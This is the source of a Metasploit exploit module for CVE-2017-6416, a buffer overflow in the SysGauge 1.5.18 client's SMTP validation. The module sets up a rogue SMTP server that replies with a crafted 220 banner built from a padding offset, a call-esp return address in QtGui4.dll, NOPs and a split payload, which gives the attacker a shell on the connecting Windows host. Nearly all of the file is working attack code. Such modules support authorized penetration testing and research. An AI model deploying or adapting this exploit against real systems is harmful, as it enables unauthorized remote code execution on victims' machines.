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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  include Msf::Exploit::Remote::TcpServer
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  Rank = NormalRanking
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  def initialize()
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    super(
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      'Name' => 'SysGauge SMTP Validation Buffer Overflow',
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      'Description' => %q{
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        This module will setup an SMTP server expecting a connection from SysGauge 1.5.18
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        via its SMTP server validation. The module sends a malicious response along in the
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        220 service ready response and exploits the client, resulting in an unprivileged shell.
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      },
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      'Author' => [
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        'Chris Higgins', # msf Module -- @ch1gg1ns
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        'Peter Baris'    # Initial discovery and PoC
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      ],
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      'License' => MSF_LICENSE,
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      'References' => [
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        [ 'CVE', '2017-6416' ],
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        [ 'EDB', '41479' ],
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      ],
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      'DefaultOptions' => {
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        'EXITFUNC' => 'thread'
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      },
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      'Payload' => {
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        'Space' => 306,
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        'BadChars' => "\x00\x0a\x0d\x20"
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      },
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      'Platform' => 'win',
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      'Targets' => [
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        [
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          'Windows Universal',
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          {
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            'Offset' => 176,
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            'Ret' => 0x6527635E # call esp # QtGui4.dll
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          }
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        ]
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      ],
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      'Privileged' => false,
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      'DisclosureDate' => 'Feb 28 2017',
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      'DefaultTarget' => 0
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      )
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    register_options(
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      [
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        OptPort.new('SRVPORT', [ true, "The local port to listen on.", 25 ]),
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      ]
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    )
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  end
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  def on_client_connect(c)
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    # Note here that the payload must be split into two parts.
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    # The payload gets jumbled in the stack so we need to split
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    # and align to get it to execute correctly.
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    sploit = "220 "
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    sploit << rand_text(target['Offset'])
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    # Can only use the last part starting from 232 bytes in
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    sploit << payload.encoded[232..-1]
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    sploit << rand_text(2)
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    sploit << [target.ret].pack('V')
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    sploit << rand_text(12)
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    sploit << make_nops(8)
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    # And the first part up to 232 bytes
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    sploit << payload.encoded[0..231]
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    sploit << "ESMTP Sendmail \r\n"
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    print_status("Client connected: " + c.peerhost)
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    print_status("Sending payload...")
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    c.put(sploit)
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  end
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end
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